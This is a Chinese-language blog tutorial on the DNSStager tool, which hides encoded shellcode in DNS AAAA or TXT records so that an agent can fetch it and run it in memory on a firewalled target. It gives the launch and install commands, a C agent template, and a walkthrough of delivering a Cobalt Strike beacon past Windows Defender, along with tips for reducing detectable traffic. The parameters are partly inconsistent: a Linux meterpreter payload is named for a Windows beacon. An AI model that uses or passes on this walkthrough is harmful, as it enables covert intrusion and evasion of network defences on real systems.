导语:做渗透测试时,如果你只能通过DNS与目标机器通信,还有办法把木马传进去吗?答案是:完全可以。DNSStager就是为这个场景而生的——它把攻击载荷拆散、编码,藏进DNS的AAAA记录或TXT记录里,一点一点”漂”到目标机器上,最后直接注入内存执行。流量看着就像在查域名,走的是DNS协议,防火墙几乎不会拦。
一、项目背景:为什么需要DNSStager
在一次真实渗透项目中,我遇到了一个棘手的情况:目标机器几乎封死了所有出站流量,唯独DNS请求可以出去——这是很多企业网络的标配,DNS需要对外访问53端口,防火墙通常不会拦。
但问题是:怎么把几百KB甚至几MB的木马上传过去?传统的HTTP/TCP隧道根本走不通。
我的需求很明确:
- 通过DNS把Payload传进去
- 流量要低调,不能太可疑
- Payload传到目标机器后要能直接注入内存运行
DNSStager就是来解决这个问题的。
二、DNSStager是什么
DNSStager是一款开源工具,专门帮渗透测试工程师和红队成员把攻击载荷(Payload)藏进DNS记录里,再通过DNS解析把Payload一点一点”取”回来,最后注入内存直接执行。
它的原理其实不复杂,整个流程分为三步:
第一步:编码 + 切分
DNSStager会把你的原始Shellcode进行XOR编码(如果是TXT记录模式,还会再加一层Base64),然后把编码后的数据切成若干小块。
第二步:DNS服务器分发
DNSStager会启动一个伪造的DNS服务器,当目标机器查询特定的子域名时,返回这些切好的小块数据。每一次DNS响应,就对应Payload的一小段。
第三步:客户端接收 + 内存注入
DNSStager自带的客户端Agent负责发出这些DNS请求,收集所有小块后拼回完整的Payload,然后注入到内存中执行。
整个过程,目标机器只产生了大量”正常的DNS查询”流量,没有任何HTTP/TLS连接,也没有任何文件落地到硬盘。


三、核心功能一览
- IPv6记录模式(AAAA):把Payload藏在IPv6地址里,每次DNS响应返回一个16字节的小块
- TXT记录模式:把Payload编码后藏在TXT记录里,单次可返回更大数据块
- XOR编码:Payload默认经过XOR加密,防止被安全设备直接识别
- Base64二次编码:TXT模式下还会再套一层Base64,增加隐蔽性
- C语言Agent:可自由定制内存注入技术
- Go语言Agent:跨平台兼容性好,同样可自由定制
- 请求间隔设置:支持在每次DNS请求之间插入延时,降低流量噪音
四、实战演示:绑一个Cobalt Strike Beacon回来
下面用真实案例演示完整攻击流程。目标:一台打了全量补丁、开启了Windows Defender的Windows Server 2019。
4.1 生成Shellcode
先用Cobalt Strike生成原始Beacon Payload,保存为payload.bin文件。这个文件就是我们要传进去的”木马”。


4.2 启动DNSStager
把payload.bin上传到DNSStager所在机器,然后启动DNSStager:
./dnsstager.py --domain test.mydnsserver.live --prefix cdn --payload linux/x64/meterpreter/reverse_tcp --shellcode_path payload.bin --xorkey 0x20
这里的参数含义:
--domain:你的域名,DNSStager会把自己绑定为这个域名的NS服务器--prefix:子域名前缀,比如cdn0、cdn1……DNSStager会生成大量带这个前缀的子域名来分发Payload小块--xorkey:XOR加密密钥,这里用0x20
启动后,DNSStager会输出它生成的子域名列表,这些子域名每个都对应Payload的一小段数据。

4.3 验证DNS解析是否正常
用dig命令查一下看看DNSStager是否正常工作:
dig AAAA cdn0.test.mydnsserver.live
正常情况下,DNS响应里会返回一段类似IPv6地址的字符串,里面就藏着Payload的第一块数据(16字节,XOR编码后)。

图中红框部分就是Payload第一个16字节经XOR加密后的数据。
4.4 生成客户端Agent并发送
DNSStager会根据参数生成一个可执行文件(Agent),把它发送到目标机器上。这个Agent的行为就是:不断查询子域名,收集所有Payload小块,拼回完整数据,注入内存,执行。

4.5 运行Agent,收shell
把生成的Agent扔到Windows Server 2019上,运行,然后——

Beacon稳稳地回来了,Cobalt Strike控制台上看到目标机器已上线。整个过程中,网络里只有大量的DNS查询,没有任何HTTP/TLS连接,Windows Defender全程没有报警。

整个攻击流程的流量截图:

五、流量分析与检测
打开Wireshark看一下目标机器的流量,整个过程产生了约59次DNS AAAA请求,每次请求返回16字节的编码数据,最终拼出完整的Shellcode。

Payload越大,需要的DNS请求次数就越多。如果Payload达到1MB,DNS请求数量会相当可观。
降低噪音的方法:在DNSStager命令中加上--sleep N参数,在每次DNS请求之间插入N秒的等待时间,流量会更加分散。
六、客户端Agent如何定制
DNSStager生成的Agent代码是开源的,可以在templates/目录下找到C语言和Go语言的模板。
目前C语言Agent的实现比较直接:获取Shellcode在内存中的地址后,直接跳转过去执行。核心代码逻辑如下:
int main(){
// 获取Shellcode的内存地址
LPVOID ShellcodeAddress = GetShellCodeAddress();
// 这里可以替换成你自己的内存注入技术
// 利用ShellcodeAddress指向的内存区域
// 跳转到Shellcode执行
goto *ShellcodeAddress;
}
如果你有自己的进程注入技术(比如Remote Thread、Process Hollowing等),可以直接在模板里替换goto那行代码。
Go语言Agent使用的是CreateFiber技术,感兴趣的可以去看Ne0nd0g的项目。
七、安装方法
# 克隆项目
git clone https://github.com/mhaskar/DNSStager
# 安装Python依赖
pip3 install -r requirements.txt
# 启动DNSStager(需要root权限)
sudo ./dnsstager.py
编译C语言Agent需要安装mingw-w64:
apt install mingw-w64
编译Go语言Agent需要Go 1.16以上版本。
注意:运行DNSStager前需要关闭
systemd-resolved,否则会占用53端口导致冲突。
八、总结
DNSStager的核心价值在于:把Payload的传输通道伪装成正常的DNS查询,而DNS查询在大多数企业网络里是被允许出站的。这就绕过了大部分网络层的访问控制。
加上XOR编码、内存直接执行(无文件落地)等特性,DNSStager在渗透测试和红队行动中是一个非常实用的工具。如果你也遇到”目标机器只允许DNS出站”这种场景,不妨试试它。
项目地址:https://github.com/mhaskar/DNSStager
版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。














暂无评论内容